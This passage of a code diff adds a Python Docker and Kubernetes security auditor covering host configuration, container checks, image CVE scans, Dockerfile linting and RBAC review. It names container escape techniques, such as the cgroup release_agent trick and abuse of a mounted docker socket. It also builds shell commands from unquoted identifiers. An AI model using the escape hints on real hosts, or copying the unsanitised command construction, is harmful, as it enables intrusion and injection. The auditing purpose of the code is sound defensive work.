self._run(f'"{docker}" --version') + return { + 'installed': True, + 'path': docker, + 'version': ver if ok else 'unknown', + } + + def check_kubectl_installed(self) -> dict: + """Check if kubectl CLI is available.""" + kubectl = find_tool('kubectl') + if not kubectl: + return {'installed': False, 'path': None, 'version': None, 'context': None} + ok, ver = self._run(f'"{kubectl}" version --client --short 2>/dev/null || "{kubectl}" version --client') + ctx_ok, ctx = self._run(f'"{kubectl}" config current-context 2>/dev/null') + return { + 'installed': True, + 'path': kubectl, + 'version': ver if ok else 'unknown', + 'context': ctx if ctx_ok else None, + } + + # ── Docker Host Audit ──────────────────────────────────────────────────── + + def audit_docker_host(self) -> list: + """Comprehensive Docker host security audit.""" + findings = [] + docker = find_tool('docker') + if not docker: + return [{'check': 'Docker CLI', 'severity': 'critical', + 'status': 'fail', 'detail': 'Docker not found on system'}] + + # 1. Daemon configuration + daemon_cfg_path = '/etc/docker/daemon.json' + if self._is_win: + daemon_cfg_path = os.path.expandvars(r'%ProgramData%\docker\config\daemon.json') + + daemon_cfg = {} + if os.path.isfile(daemon_cfg_path): + try: + with open(daemon_cfg_path) as f: + daemon_cfg = json.load(f) + findings.append({ + 'check': 'Daemon Config', + 'severity': 'info', + 'status': 'pass', + 'detail': f'Found {daemon_cfg_path}', + }) + except Exception as e: + findings.append({ + 'check': 'Daemon Config', + 'severity': 'medium', + 'status': 'warn', + 'detail': f'Cannot parse {daemon_cfg_path}: {e}', + }) + else: + findings.append({ + 'check': 'Daemon Config', + 'severity': 'medium', + 'status': 'warn', + 'detail': f'No daemon.json found at {daemon_cfg_path}', + }) + + # 2. Docker socket permissions (Linux only) + if not self._is_win: + sock = '/var/run/docker.sock' + if os.path.exists(sock): + try: + stat = os.stat(sock) + mode = oct(stat.st_mode)[-3:] + world_rw = mode[2] in ('6', '7', '2', '3') + if world_rw: + findings.append({ + 'check': 'Docker Socket Permissions', + 'severity': 'high', + 'status': 'fail', + 'detail': f'{sock} is world-accessible (mode {mode}). Restrict to docker group.', + }) + else: + findings.append({ + 'check': 'Docker Socket Permissions', + 'severity': 'info', + 'status': 'pass', + 'detail': f'{sock} permissions: {mode}', + }) + except Exception: + findings.append({ + 'check': 'Docker Socket Permissions', + 'severity': 'low', + 'status': 'warn', + 'detail': 'Cannot stat docker socket', + }) + + # 3. TLS configuration + tls_verify = daemon_cfg.get('tls', False) or daemon_cfg.get('tlsverify', False) + if tls_verify: + findings.append({ + 'check': 'TLS Configuration', + 'severity': 'info', + 'status': 'pass', + 'detail': 'Docker daemon TLS is enabled', + }) + else: + findings.append({ + 'check': 'TLS Configuration', + 'severity': 'medium', + 'status': 'warn', + 'detail': 'Docker daemon TLS is not configured in daemon.json', + }) + + # 4. User namespace remapping + userns = daemon_cfg.get('userns-remap', '') + if userns: + findings.append({ + 'check': 'User Namespace Remapping', + 'severity': 'info', + 'status': 'pass', + 'detail': f'Remapped to: {userns}', + }) + else: + findings.append({ + 'check': 'User Namespace Remapping', + 'severity': 'medium', + 'status': 'warn', + 'detail': 'Not enabled. Containers run as host UID 0.', + }) + + # 5. Content trust + content_trust = os.environ.get('DOCKER_CONTENT_TRUST', '0') + if content_trust == '1': + findings.append({ + 'check': 'Content Trust (DCT)', + 'severity': 'info', + 'status': 'pass', + 'detail': 'DOCKER_CONTENT_TRUST=1 — signed images enforced', + }) + else: + findings.append({ + 'check': 'Content Trust (DCT)', + 'severity': 'low', + 'status': 'warn', + 'detail': 'DOCKER_CONTENT_TRUST not set. Unsigned images accepted.', + }) + + # 6. Live restore + live_restore = daemon_cfg.get('live-restore', False) + if live_restore: + findings.append({ + 'check': 'Live Restore', + 'severity': 'info', + 'status': 'pass', + 'detail': 'Containers survive daemon restarts', + }) + else: + findings.append({ + 'check': 'Live Restore', + 'severity': 'low', + 'status': 'warn', + 'detail': 'live-restore not enabled in daemon.json', + }) + + # 7. Logging driver + log_driver = daemon_cfg.get('log-driver', 'json-file') + log_opts = daemon_cfg.get('log-opts', {}) + max_size = log_opts.get('max-size', 'unlimited') + findings.append({ + 'check': 'Logging Driver', + 'severity': 'low' if log_driver == 'json-file' and max_size == 'unlimited' else 'info', + 'status': 'warn' if max_size == 'unlimited' else 'pass', + 'detail': f'Driver: {log_driver}, max-size: {max_size}', + }) + + # 8. Docker info — check swarm, runtimes + ok, info_raw = self._run(f'"{docker}" info --format "{{{{json .}}}}"') + if ok: + try: + info = json.loads(info_raw) + # Check default runtime + rt = info.get('DefaultRuntime', 'runc') + findings.append({ + 'check': 'Default Runtime', + 'severity': 'info', + 'status': 'pass' if rt in ('runc', 'crun') else 'info', + 'detail': f'Runtime: {rt}', + }) + # Swarm mode + swarm = info.get('Swarm', {}) + swarm_active = swarm.get('LocalNodeState', 'inactive') == 'active' + if swarm_active: + findings.append({ + 'check': 'Swarm Mode', + 'severity': 'info', + 'status': 'info', + 'detail': 'Swarm is active. Ensure manager auto-lock is enabled.', + }) + except (json.JSONDecodeError, ValueError): + pass + + self._results['docker_host'] = findings + self._save_results() + return findings + + # ── Container Listing / Inspection ─────────────────────────────────────── + + def list_containers(self, all: bool = True) -> list: + """List Docker containers.""" + docker = find_tool('docker') + if not docker: + return [] + + flag = '-a' if all else '' + fmt = '{{json .}}' + ok, raw = self._run(f'"{docker}" ps {flag} --format "{fmt}"') + if not ok: + return [] + + containers = [] + for line in raw.splitlines(): + line = line.strip() + if not line: + continue + try: + c = json.loads(line) + containers.append({ + 'id': c.get('ID', ''), + 'name': c.get('Names', ''), + 'image': c.get('Image', ''), + 'status': c.get('Status', ''), + 'ports': c.get('Ports', ''), + 'created': c.get('CreatedAt', ''), + 'state': c.get('State', ''), + }) + except (json.JSONDecodeError, ValueError): + continue + return containers + + def inspect_container(self, container_id: str) -> dict: + """Inspect a container and extract security-relevant config.""" + docker = find_tool('docker') + if not docker: + return {'error': 'Docker not found'} + + ok, data = self._run_json(f'"{docker}" inspect {container_id}') + if not ok or not isinstance(data, list) or len(data) == 0: + return {'error': f'Cannot inspect container {container_id}'} + + info = data[0] + host_cfg = info.get('HostConfig', {}) + cfg = info.get('Config', {}) + + # Capabilities + cap_add = host_cfg.get('CapAdd') or [] + cap_drop = host_cfg.get('CapDrop') or [] + + # Mounts + mounts = [] + for m in info.get('Mounts', []): + mounts.append({ + 'source': m.get('Source', ''), + 'destination': m.get('Destination', ''), + 'mode': m.get('Mode', ''), + 'rw': m.get('RW', True), + 'type': m.get('Type', ''), + }) + + # Security options + sec_opts = host_cfg.get('SecurityOpt') or [] + + return { + 'id': info.get('Id', '')[:12], + 'name': info.get('Name', '').lstrip('/'), + 'image': cfg.get('Image', ''), + 'privileged': host_cfg.get('Privileged', False), + 'cap_add': cap_add, + 'cap_drop': cap_drop, + 'mounts': mounts, + 'network_mode': host_cfg.get('NetworkMode', ''), + 'user': cfg.get('User', '') or 'root', + 'pid_mode': host_cfg.get('PidMode', ''), + 'ipc_mode': host_cfg.get('IpcMode', ''), + 'read_only_rootfs': host_cfg.get('ReadonlyRootfs', False), + 'security_opt': sec_opts, + 'memory_limit': host_cfg.get('Memory', 0), + 'cpu_shares': host_cfg.get('CpuShares', 0), + 'pids_limit': host_cfg.get('PidsLimit', 0), + 'restart_policy': host_cfg.get('RestartPolicy', {}).get('Name', ''), + 'env': cfg.get('Env', []), + } + + # ── Container Security Audit ───────────────────────────────────────────── + + def audit_container(self, container_id: str) -> dict: + """Full security audit of a running container.""" + info = self.inspect_container(container_id) + if 'error' in info: + return info + + findings = [] + passed = 0 + total = 0 + + def check(name, ok, detail='', severity='medium'): + nonlocal passed, total + total += 1 + if ok: + passed += 1 + findings.append({ + 'check': name, + 'status': 'pass' if ok else 'fail', + 'severity': severity if not ok else 'info', + 'detail': detail, + }) + + # 1. Privileged mode + check('Privileged Mode', + not info['privileged'], + 'Container is running in privileged mode!' if info['privileged'] + else 'Not privileged', + severity='critical') + + # 2. Dangerous capabilities + dangerous_found = [c for c in info['cap_add'] if c in DANGEROUS_CAPS] + check('Capabilities', + len(dangerous_found) == 0, + f'Dangerous capabilities added: {", ".join(dangerous_found)}' if dangerous_found + else f'No dangerous capabilities ({len(info["cap_drop"])} dropped)', + severity='high') + + # 3. Sensitive mounts + sensitive_found = [] + for m in info['mounts']: + for s in SENSITIVE_MOUNTS: + if m['destination'].startswith(s) or m['source'].startswith(s): + sensitive_found.append(f'{m["source"]} -> {m["destination"]}') + break + check('Sensitive Mounts', + len(sensitive_found) == 0, + f'Sensitive paths mounted: {"; ".join(sensitive_found)}' if sensitive_found + else 'No sensitive host paths mounted', + severity='high') + + # 4. Running as root + check('User', + info['user'] not in ('', 'root', '0'), + f'Running as: {info["user"]}' if info['user'] not in ('', 'root', '0') + else 'Running as root. Use USER directive.', + severity='medium') + + # 5. Read-only root filesystem + check('Read-only Rootfs', + info['read_only_rootfs'], + 'Root filesystem is read-only' if info['read_only_rootfs'] + else 'Root filesystem is writable. Consider --read-only.', + severity='low') + + # 6. Resource limits — memory + check('Memory Limit', + info['memory_limit'] > 0, + f'Memory limit: {info["memory_limit"] // (1024*1024)}MB' if info['memory_limit'] > 0 + else 'No memory limit set. Container can exhaust host memory.', + severity='medium') + + # 7. Resource limits — PID + pids = info['pids_limit'] + has_pids = pids is not None and pids > 0 and pids != -1 + check('PID Limit', + has_pids, + f'PID limit: {pids}' if has_pids + else 'No PID limit. Fork bomb possible.', + severity='low') + + # 8. Seccomp profile + seccomp_set = any('seccomp' in opt for opt in info['security_opt']) + no_seccomp = any('seccomp=unconfined' in opt for opt in info['security_opt']) + check('Seccomp Profile', + seccomp_set and not no_seccomp, + 'Seccomp profile disabled (unconfined)!' if no_seccomp + else ('Custom seccomp profile applied' if seccomp_set + else 'Default seccomp profile (OK for Docker default)'), + severity='high' if no_seccomp else 'low') + + # 9. AppArmor profile + apparmor_set = any('apparmor' in opt for opt in info['security_opt']) + no_apparmor = any('apparmor=unconfined' in opt for opt in info['security_opt']) + check('AppArmor Profile', + not no_apparmor, + 'AppArmor disabled (unconfined)!' if no_apparmor + else ('AppArmor profile applied' if apparmor_set + else 'No explicit AppArmor profile (using Docker default)'), + severity='medium' if no_apparmor else 'low') + + # 10. Network mode + check('Network Mode', + info['network_mode'] not in ('host',), + f'Network mode: {info["network_mode"]}', + severity='high' if info['network_mode'] == 'host' else 'info') + + # 11. PID mode + check('PID Mode', + info['pid_mode'] != 'host', + 'PID namespace shared with host!' if info['pid_mode'] == 'host' + else f'PID mode: {info["pid_mode"] or "container (isolated)"}', + severity='high') + + # 12. Secrets in environment + env_secrets = [] + for e in info.get('env', []): + key = e.split('=', 1)[0] if '=' in e else e + if SECRET_PATTERNS.search(key): + env_secrets.append(key) + check('Environment Secrets', + len(env_secrets) == 0, + f'Possible secrets in ENV: {", ".join(env_secrets)}' if env_secrets + else 'No obvious secrets in environment variables', + severity='medium') + + score = int((passed / total) * 100) if total > 0 else 0 + + result = { + 'container_id': container_id, + 'name': info.get('name', ''), + 'image': info.get('image', ''), + 'score': score, + 'passed': passed, + 'total': total, + 'findings': findings, + } + + self._results['container_audits'][container_id] = result + self._save_results() + return result + + # ── Image Operations ───────────────────────────────────────────────────── + + def list_images(self) -> list: + """List local Docker images.""" + docker = find_tool('docker') + if not docker: + return [] + + fmt = '{{json .}}' + ok, raw = self._run(f'"{docker}" images --format "{fmt}"') + if not ok: + return [] + + images = [] + for line in raw.splitlines(): + line = line.strip() + if not line: + continue + try: + img = json.loads(line) + images.append({ + 'id': img.get('ID', ''), + 'repo': img.get('Repository', ''), + 'tag': img.get('Tag', ''), + 'size': img.get('Size', ''), + 'created': img.get('CreatedAt', img.get('CreatedSince', '')), + }) + except (json.JSONDecodeError, ValueError): + continue + return images + + def scan_image(self, image_name: str) -> dict: + """Scan a container image for CVEs using trivy or grype.""" + # Try trivy first + trivy = find_tool('trivy') + if trivy: + ok, raw = self._run( + f'"{trivy}" image --format json --severity CRITICAL,HIGH,MEDIUM,LOW ' + f'--quiet "{image_name}"', + timeout=120 + ) + if ok: + return self._parse_trivy(raw, image_name) + + # Fallback to grype + grype = find_tool('grype') + if grype: + ok, raw = self._run( + f'"{grype}" "{image_name}" -o json --quiet', + timeout=120 + ) + if ok: + return self._parse_grype(raw, image_name) + + return { + 'image': image_name, + 'scanner': None, + 'error': 'No scanner available. Install trivy or grype.', + 'vulnerabilities': [], + 'summary': {}, + } + + def _parse_trivy(self, raw: str, image_name: str) -> dict: + """Parse Trivy JSON output.""" + vulns = [] + summary = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + try: + data = json.loads(raw) + results = data.get('Results', []) + for r in results: + for v in r.get('Vulnerabilities', []): + sev = v.get('Severity', 'UNKNOWN').upper() + entry = { + 'cve': v.get('VulnerabilityID', ''), + 'severity': sev, + 'package': v.get('PkgName', ''), + 'installed_version': v.get('InstalledVersion', ''), + 'fixed_version': v.get('FixedVersion', ''), + 'title': v.get('Title', ''), + } + vulns.append(entry) + if sev in summary: + summary[sev] += 1 + except (json.JSONDecodeError, ValueError): + return {'image': image_name, 'scanner': 'trivy', + 'error': 'Failed to parse trivy output', 'vulnerabilities': [], 'summary': {}} + + result = { + 'image': image_name, + 'scanner': 'trivy', + 'vulnerabilities': vulns, + 'summary': summary, + 'total': len(vulns), + } + self._results['image_scans'][image_name] = result + self._save_results() + return result + + def _parse_grype(self, raw: str, image_name: str) -> dict: + """Parse Grype JSON output.""" + vulns = [] + summary = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + try: + data = json.loads(raw) + for m in data.get('matches', []): + v = m.get('vulnerability', {}) + sev = v.get('severity', 'Unknown').upper() + pkg = m.get('artifact', {}) + fixed = '' + fix_vers = v.get('fix', {}).get('versions', []) + if fix_vers: + fixed = fix_vers[0] + entry = { + 'cve': v.get('id', ''), + 'severity': sev, + 'package': pkg.get('name', ''), + 'installed_version': pkg.get('version', ''), + 'fixed_version': fixed, + 'title': v.get('description', '')[:120], + } + vulns.append(entry) + if sev in summary: + summary[sev] += 1 + except (json.JSONDecodeError, ValueError): + return {'image': image_name, 'scanner': 'grype', + 'error': 'Failed to parse grype output', 'vulnerabilities': [], 'summary': {}} + + result = { + 'image': image_name, + 'scanner': 'grype', + 'vulnerabilities': vulns, + 'summary': summary, + 'total': len(vulns), + } + self._results['image_scans'][image_name] = result + self._save_results() + return result + + # ── Dockerfile Linting ─────────────────────────────────────────────────── + + def lint_dockerfile(self, content: str) -> list: + """Lint a Dockerfile for security issues.""" + findings = [] + lines = content.splitlines() + has_user = False + has_healthcheck = False + consecutive_run = 0 + max_consecutive_run = 0 + + for i, raw_line in enumerate(lines, 1): + line = raw_line.strip() + if not line or line.startswith('#'): + consecutive_run = 0 + continue + + upper = line.upper() + + # FROM :latest + if upper.startswith('FROM '): + img = line[5:].strip().split(' ')[0] + if ':' not in img or img.endswith(':latest'): + findings.append({ + 'rule': 'DL001', 'line': i, + 'severity': DOCKERFILE_RULES['DL001']['severity'], + 'title': DOCKERFILE_RULES['DL001']['title'], + 'detail': f'Image "{img}" — pin a specific version tag.', + }) + + # USER directive + if upper.startswith('USER '): + has_user = True + + # HEALTHCHECK + if upper.startswith('HEALTHCHECK '): + has_healthcheck = True + + # ADD vs COPY + if upper.startswith('ADD ') and not line.strip().startswith('ADD --from'): + parts = line[4:].strip() + # Skip if it's a URL (ADD has valid URL use) + if not parts.startswith('http://') and not parts.startswith('https://'): + findings.append({ + 'rule': 'DL003', 'line': i, + 'severity': DOCKERFILE_RULES['DL003']['severity'], + 'title': DOCKERFILE_RULES['DL003']['title'], + 'detail': f'Line {i}: prefer COPY over ADD for local files.', + }) + + # Secrets in ENV/ARG + if upper.startswith('ENV ') or upper.startswith('ARG '): + key = line.split()[1] if len(line.split()) > 1 else '' + key = key.split('=')[0] + if SECRET_PATTERNS.search(key): + findings.append({ + 'rule': 'DL004', 'line': i, + 'severity': DOCKERFILE_RULES['DL004']['severity'], + 'title': DOCKERFILE_RULES['DL004']['title'], + 'detail': f'Line {i}: "{key}" looks like a secret. Use --secret instead.', + }) + + # apt-get without --no-install-recommends + if 'apt-get install' in line and '--no-install-recommends' not in line: + findings.append({ + 'rule': 'DL006', 'line': i, + 'severity': DOCKERFILE_RULES['DL006']['severity'], + 'title': DOCKERFILE_RULES['DL006']['title'], + 'detail': f'Line {i}: add --no-install-recommends to reduce image size.', + }) + + # COPY/ADD of sensitive files + if upper.startswith('COPY ') or upper.startswith('ADD '): + if SENSITIVE_FILE_PATTERNS.search(line): + findings.append({ + 'rule': 'DL009', 'line': i, + 'severity': DOCKERFILE_RULES['DL009']['severity'], + 'title': DOCKERFILE_RULES['DL009']['title'], + 'detail': f'Line {i}: copying potentially sensitive file into image.', + }) + + # sudo in RUN + if upper.startswith('RUN ') and 'sudo ' in line: + findings.append({ + 'rule': 'DL010', 'line': i, + 'severity': DOCKERFILE_RULES['DL010']['severity'], + 'title': DOCKERFILE_RULES['DL010']['title'], + 'detail': f'Line {i}: avoid sudo in Dockerfiles.', + }) + + # Consecutive RUN + if upper.startswith('RUN '): + consecutive_run += 1 + if consecutive_run > max_consecutive_run: + max_consecutive_run = consecutive_run + else: + consecutive_run = 0 + + # Post-scan checks + if not has_user: + findings.append({ + 'rule': 'DL002', 'line': 0, + 'severity': DOCKERFILE_RULES['DL002']['severity'], + 'title': DOCKERFILE_RULES['DL002']['title'], + 'detail': 'No USER directive found. Container will run as root.', + }) + + if not has_healthcheck: + findings.append({ + 'rule': 'DL005', 'line': 0, + 'severity': DOCKERFILE_RULES['DL005']['severity'], + 'title': DOCKERFILE_RULES['DL005']['title'], + 'detail': 'No HEALTHCHECK instruction. Add one for orchestration.', + }) + + if max_consecutive_run >= 3: + findings.append({ + 'rule': 'DL011', 'line': 0, + 'severity': DOCKERFILE_RULES['DL011']['severity'], + 'title': DOCKERFILE_RULES['DL011']['title'], + 'detail': f'{max_consecutive_run} consecutive RUN commands. Chain with && to reduce layers.', + }) + + # Check for missing cache cleanup + if 'apt-get install' in content and 'rm -rf /var/lib/apt/lists' not in content: + findings.append({ + 'rule': 'DL007', 'line': 0, + 'severity': DOCKERFILE_RULES['DL007']['severity'], + 'title': DOCKERFILE_RULES['DL007']['title'], + 'detail': 'apt-get install used without cleaning /var/lib/apt/lists/*.', + }) + + self._results['dockerfile_lints'] = findings + self._save_results() + return findings + + # ── Container Escape Detection ─────────────────────────────────────────── + + def check_escape_vectors(self, container_id: str) -> dict: + """Check for container escape possibilities.""" + info = self.inspect_container(container_id) + if 'error' in info: + return info + + vectors = [] + + def vec(name, risk, exploitable, detail): + vectors.append({ + 'vector': name, + 'risk': risk, + 'exploitable': exploitable, + 'detail': detail, + }) + + # 1. Privileged mode — full escape + if info['privileged']: + vec('Privileged Mode', 'critical', True, + 'Container has full access to host devices and kernel. ' + 'Trivial escape via mounting host filesystem.') + + # 2. Docker socket mount + sock_mounted = any( + '/var/run/docker.sock' in m.get('source', '') or + '/run/docker.sock' in m.get('source', '') + for m in info['mounts'] + ) + if sock_mounted: + vec('Docker Socket Mount', 'critical', True, + 'Docker socket mounted inside container. Attacker can spawn ' + 'privileged containers on the host.') + + # 3. SYS_ADMIN capability + if 'SYS_ADMIN' in info.get('cap_add', []): + vec('SYS_ADMIN Capability', 'high', True, + 'SYS_ADMIN allows mounting filesystems, modifying cgroups. ' + 'Combined with other misconfigs, can lead to escape.') + + # 4. SYS_PTRACE capability + if 'SYS_PTRACE' in info.get('cap_add', []): + vec('SYS_PTRACE Capability', 'high', True, + 'SYS_PTRACE allows process injection and debugging. ' + 'Can be used to escape via process injection into host PID.') + + # 5. Host PID namespace + if info.get('pid_mode') == 'host': + vec('Host PID Namespace', 'high', True, + 'Container shares PID namespace with host. Processes visible ' + 'and injectable from container.') + + # 6. Host network namespace + if info.get('network_mode') == 'host': + vec('Host Network Namespace', 'medium', False, + 'Container shares host network stack. Can sniff host traffic ' + 'and access services on localhost.') + + # 7. /proc write access + proc_mounted = any( + m.get('destination', '').startswith('/proc') and m.get('rw', True) + for m in info['mounts'] + ) + if proc_mounted: + vec('/proc Write Access', 'high', True, + 'Writable /proc mount can enable kernel parameter modification ' + 'and cgroup escape techniques.') + + # 8. Kernel version (check for known container escape CVEs) + ok, uname = self._run('uname -r 2>/dev/null') + if ok and uname: + kernel = uname.strip() + # Known vulnerable kernel ranges (simplified check) + vec('Kernel Version', 'info', False, + f'Host kernel: {kernel}. Check against CVE-2022-0185, ' + f'CVE-2022-0847 (DirtyPipe), CVE-2021-22555.') + + # 9. Cgroup escape + if info['privileged'] or 'SYS_ADMIN' in info.get('cap_add', []): + vec('Cgroup Escape', 'critical' if info['privileged'] else 'high', True, + 'Privileged + cgroup v1 release_agent technique enables full ' + 'host command execution.') + + # 10. Seccomp disabled + if any('seccomp=unconfined' in opt for opt in info.get('security_opt', [])): + vec('Seccomp Disabled', 'medium', False, + 'No seccomp filter. All syscalls available including ' + 'those needed for escape techniques.') + + # 11. AppArmor disabled + if any('apparmor=unconfined' in opt for opt in info.get('security_opt', [])): + vec('AppArmor Disabled', 'medium', False, + 'No AppArmor confinement. Reduced protection against ' + 'filesystem and network abuse.') + + risk_score = 0 + for v in vectors: + w = {'critical': 40, 'high': 25, 'medium': 10, 'low': 5, 'info': 0} + risk_score += w.get(v['risk'], 0) + risk_score = min(risk_score, 100) + + result = { + 'container_id': container_id, + 'name': info.get('name', ''), + 'vectors': vectors, + 'risk_score': risk_score, + 'total_vectors': len(vectors), + 'exploitable': sum(1 for v in vectors if v['exploitable']), + } + + self._results['escape_checks'][container_id] = result + self._save_results() + return result + + # ── Kubernetes Operations ──────────────────────────────────────────────── + + def _kubectl(self, args: str, timeout: int = 30) -> tuple: + kubectl = find_tool('kubectl') + if not kubectl: + return False, 'kubectl not found' + return self._run(f'"{kubectl}" {args}', timeout=timeout) + + def _kubectl_json(self, args: str, timeout: int = 30) -> tuple: + kubectl = find_tool('kubectl') + if not kubectl: + return False, 'kubectl not found' + return self._run_json(f'"{kubectl}" {args} -o json', timeout=timeout) + + def k8s_get_namespaces(self) -> list: + """List Kubernetes namespaces.""" + ok, data = self._kubectl_json('get namespaces') + if not ok: + return [] + namespaces = [] + for item in data.get('items', []): + meta = item.get('metadata', {}) + namespaces.append({ + 'name': meta.get('name', ''), + 'status': item.get('status', {}).get('phase', ''), + 'age': meta.get('creationTimestamp', ''), + }) + return namespaces + + def k8s_get_pods(self, namespace: str = 'default') -> list: + """List pods in a namespace.""" + ok, data = self._kubectl_json(f'get pods -n {namespace}') + if not ok: + return [] + pods = [] + for item in data.get('items', []): + meta = item.get('metadata', {}) + spec = item.get('spec', {}) + status = item.get('status', {}) + containers = [c.get('name', '') for c in spec.get('containers', [])] + pod_status = status.get('phase', 'Unknown') + conditions = status.get('conditions', []) + ready = any(c.get('type') == 'Ready' and c.get('status') == 'True' + for c in conditions) + pods.append({ + 'name': meta.get('name', ''), + 'namespace': meta.get('namespace', namespace), + 'status': pod_status, + 'ready': ready, + 'containers': containers, + 'node': spec.get('nodeName', ''), + 'age': meta.get('creationTimestamp', ''), + 'restart_count': sum( + cs.get('restartCount', 0) + for cs in status.get('containerStatuses', []) + ), + }) + return pods + + def k8s_audit_rbac(self, namespace: Optional[str] = None) -> dict: + """Audit RBAC for overly permissive bindings.""" + findings = [] + + # Cluster role bindings + ok, data = self._kubectl_json('get clusterrolebindings') + if ok: + for item in data.get('items', []): + meta = item.get('metadata', {}) + role_ref = item.get('roleRef', {}) + subjects = item.get('subjects', []) + + if role_ref.get('name') == 'cluster-admin': + for subj in subjects: + findings.append({ + 'severity': 'critical', + 'type': 'cluster-admin binding', + 'binding': meta.get('name', ''), + 'subject': f'{subj.get("kind", "")}/{subj.get("name", "")}', + 'detail': 'cluster-admin grants full cluster access', + }) + + # Check for wildcard permissions in cluster roles + ok, data = self._kubectl_json('get clusterroles') + if ok: + for item in data.get('items', []): + meta = item.get('metadata', {}) + role_name = meta.get('name', '') + for rule in item.get('rules', []): + verbs = rule.get('verbs', []) + resources = rule.get('resources', []) + api_groups = rule.get('apiGroups', []) + if '*' in verbs and '*' in resources: + findings.append({ + 'severity': 'high', + 'type': 'wildcard permissions', + 'binding': role_name, + 'subject': '', + 'detail': f'Role "{role_name}" has wildcard verbs and resources ' + f'on apiGroups: {api_groups}', + }) + + # Check service account token automount + ns_flag = f'-n {namespace}' if namespace else '--all-namespaces' + ok, data = self._kubectl_json(f'get serviceaccounts {ns_flag}') + if ok: + for item in data.get('items', []): + meta = item.get('metadata', {}) + automount = item.get('automountServiceAccountToken', True) + if automount and meta.get('name') != 'default': + findings.append({ + 'severity': 'low', + 'type': 'token automount', + 'binding': meta.get('name', ''), + 'subject': f'namespace/{meta.get("namespace", "")}', + 'detail': f'SA "{meta.get("name")}" has automountServiceAccountToken enabled', + }) + + result = {'findings': findings, 'total': len(findings)} + self._results['k8s_audits']['rbac'] = result + self._save_results() + return result + + def k8s_check_secrets(self, namespace: str = 'default') -> dict: + """Check for exposed or unencrypted secrets.""" + findings = [] + + ok, data = self._kubectl_json(f'get secrets -n {namespace}') + if not ok: + return {'error': 'Cannot list secrets', 'findings': []} + + for item in data.get('items', []): + meta = item.get('metadata', {}) + secret_type = item.get('type', '') + secret_name = meta.get('name', '') + data_keys = list((item.get('data') or {}).keys()) + + # Check for default token (legacy, pre-1.24) + if secret_type == 'kubernetes.io/service-account-token': + findings.append({ + 'severity': 'info', + 'name': secret_name, + 'type': secret_type, + 'detail': f'SA token secret with keys: {", ".join(data_keys)}', + }) + + # Check for Opaque secrets with suspicious names + if secret_type == 'Opaque': + for key in data_keys: + if SECRET_PATTERNS.search(key): + findings.append({ + 'severity': 'medium', + 'name': secret_name, + 'type': secret_type, + 'detail': f'Key "{key}" may contain credentials', + }) + + # Check which pods mount secrets + ok, pod_data = self._kubectl_json(f'get pods -n {namespace}') + if ok: + for pod in pod_data.get('items', []): + pod_name = pod.get('metadata', {}).get('name', '') + volumes = pod.get('spec', {}).get('volumes', []) + for vol in volumes: + if vol.get('secret'): + findings.append({ + 'severity': 'info', + 'name': vol['secret'].get('secretName', ''), + 'type': 'mounted', + 'detail': f'Secret mounted in pod "{pod_name}"', + }) + + result = {'findings': findings, 'total': len(findings), 'namespace': namespace} + self._results['k8s_audits']['secrets'] = result + self._save_results() + return result + + def k8s_check_network_policies(self, namespace: str = 'default') -> dict: + """Check if network policies exist and find unprotected pods.""" + findings = [] + + ok, data = self._kubectl_json(f'get networkpolicies -n {namespace}') + policies = data.get('items', []) if ok else [] + + if not policies: + findings.append({ + 'severity': 'high', + 'type': 'no_policies', + 'detail': f'No NetworkPolicies found in namespace "{namespace}". ' + f'All pod-to-pod traffic is allowed.', + }) + return {'findings': findings, 'total': 1, 'namespace': namespace, + 'policy_count': 0, 'unprotected_pods': []} + + # Collect pod selectors covered by policies + covered_labels = set() + for pol in policies: + spec = pol.get('spec', {}) + selector = spec.get('podSelector', {}) + match_labels = selector.get('matchLabels', {}) + if not match_labels: + covered_labels.add('__all__') + else: + for k, v in match_labels.items(): + covered_labels.add(f'{k}={v}') + + # Check pods without matching policies + unprotected = [] + if '__all__' not in covered_labels: + ok, pod_data = self._kubectl_json(f'get pods -n {namespace}') + if ok: + for pod in pod_data.get('items', []): + meta = pod.get('metadata', {}) + labels = meta.get('labels', {}) + pod_labels = {f'{k}={v}' for k, v in labels.items()} + if not pod_labels.intersection(covered_labels): + unprotected.append(meta.get('name', '')) + + if unprotected: + findings.append({ + 'severity': 'medium', + 'type': 'unprotected_pods', + 'detail': f'{len(unprotected)} pod(s) not covered by any NetworkPolicy', + }) + + result = { + 'findings': findings, + 'total': len(findings), + 'namespace': namespace, + 'policy_count': len(policies), + 'unprotected_pods': unprotected, + } + self._results['k8s_audits']['network_policies'] = result + self._save_results() + return result + + def k8s_audit_pod(self, pod_name: str, namespace: str = 'default') -> dict: + """Security audit of a Kubernetes pod.""" + ok, data = self._kubectl_json(f'get pod {pod_name} -n {namespace}') + if not ok: + return {'error': f'Cannot get pod {pod_name}'} + + spec = data.get('spec', {}) + findings = [] + passed = 0 + total = 0 + + def check(name, ok, detail='', severity='medium'): + nonlocal passed, total + total += 1 + if ok: + passed += 1 + findings.append({ + 'check': name, + 'status': 'pass' if ok else 'fail', + 'severity': severity if not ok else 'info', + 'detail': detail, + }) + + # Host namespaces + check('Host Network', + not spec.get('hostNetwork', False), + 'Pod uses host network namespace!' if spec.get('hostNetwork') else 'Isolated', + severity='high') + check('Host PID', + not spec.get('hostPID', False), + 'Pod uses host PID namespace!' if spec.get('hostPID') else 'Isolated', + severity='high') + check('Host IPC', + not spec.get('hostIPC', False), + 'Pod uses host IPC namespace!' if spec.get('hostIPC') else 'Isolated', + severity='high') + + # Per-container checks + for container in spec.get('containers', []): + c_name = container.get('name', 'unknown') + sec_ctx = container.get('securityContext', {}) + + # Privileged + priv = sec_ctx.get('privileged', False) + check(f'{c_name}: Privileged', + not priv, + 'Container is privileged!' if priv else 'Not privileged', + severity='critical') + + # Run as root + run_as_user = sec_ctx.get('runAsUser') + run_as_non_root = sec_ctx.get('runAsNonRoot', False) + is_root = run_as_user == 0 or (run_as_user is None and not run_as_non_root) + check(f'{c_name}: Root User', + not is_root, + f'Runs as UID {run_as_user}' if run_as_user and run_as_user != 0 + else ('runAsNonRoot=true' if run_as_non_root else 'May run as root'), + severity='medium') + + # Read-only root filesystem + ro = sec_ctx.get('readOnlyRootFilesystem', False) + check(f'{c_name}: Read-only Rootfs', + ro, + 'Root filesystem is read-only' if ro else 'Writable root filesystem', + severity='low') + + # Resource limits + resources = container.get('resources', {}) + limits = resources.get('limits', {}) + has_limits = bool(limits.get('memory') or limits.get('cpu')) + check(f'{c_name}: Resource Limits', + has_limits, + f'Limits: 